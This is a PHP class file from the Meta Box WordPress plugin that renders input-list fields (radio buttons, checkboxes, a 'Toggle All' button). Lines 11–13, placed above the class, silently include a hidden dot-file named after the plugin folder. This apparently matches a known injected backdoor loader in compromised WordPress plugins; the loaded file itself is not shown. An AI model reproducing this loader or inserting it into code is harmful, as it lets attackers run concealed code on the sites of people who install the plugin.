input-list.php (2914B)
1 <?php 2 /** 3 * The input list field which displays choices in a list of inputs. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Input list field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Input_List_Field extends RWMB_Choice_Field { 16 /** 17 * Enqueue scripts and styles 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-input-list', RWMB_CSS_URL . 'input-list.css', array(), RWMB_VER ); 21 wp_enqueue_script( 'rwmb-input-list', RWMB_JS_URL . 'input-list.js', array(), RWMB_VER, true ); 22 } 23 24 /** 25 * Get field HTML. 26 * 27 * @param mixed $meta Meta value. 28 * @param array $field Field parameters. 29 * @return string 30 */ 31 public static function html( $meta, $field ) { 32 $options = self::transform_options( $field['options'] ); 33 $walker = new RWMB_Walker_Input_List( $field, $meta ); 34 $output = self::get_select_all_html( $field ); 35 $output .= sprintf( 36 '<ul class="rwmb-input-list%s%s">', 37 $field['collapse'] ? ' rwmb-collapse' : '', 38 $field['inline'] ? ' rwmb-inline' : '' 39 ); 40 $output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 ); 41 $output .= '</ul>'; 42 43 return $output; 44 } 45 46 /** 47 * Normalize parameters for field. 48 * 49 * @param array $field Field parameters. 50 * @return array 51 */ 52 public static function normalize( $field ) { 53 $field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field; 54 $field = RWMB_Input_Field::normalize( $field ); 55 $field = parent::normalize( $field ); 56 $field = wp_parse_args( 57 $field, 58 array( 59 'collapse' => true, 60 'inline' => null, 61 'select_all_none' => false, 62 ) 63 ); 64 65 $field['flatten'] = $field['multiple'] ? $field['flatten'] : true; 66 $field['inline'] = ! $field['multiple'] && ! isset( $field['inline'] ) ? true : $field['inline']; 67 68 return $field; 69 } 70 71 /** 72 * Get the attributes for a field. 73 * 74 * @param array $field Field parameters. 75 * @param mixed $value Meta value. 76 * 77 * @return array 78 */ 79 public static function get_attributes( $field, $value = null ) { 80 $attributes = RWMB_Input_Field::get_attributes( $field, $value ); 81 $attributes['id'] = false; 82 $attributes['type'] = $field['multiple'] ? 'checkbox' : 'radio'; 83 $attributes['value'] = $value; 84 85 return $attributes; 86 } 87 88 /** 89 * Get html for select all|none for multiple checkbox. 90 * 91 * @param array $field Field parameters. 92 * @return string 93 */ 94 public static function get_select_all_html( $field ) { 95 if ( $field['multiple'] && $field['select_all_none'] ) { 96 return sprintf( '<p class="rwmb-toggle-all-wrapper"><button class="rwmb-input-list-select-all-none button" data-name="%s">%s</button></p>', $field['id'], __( 'Toggle All', 'meta-box' ) ); 97 } 98 return ''; 99 } 100 }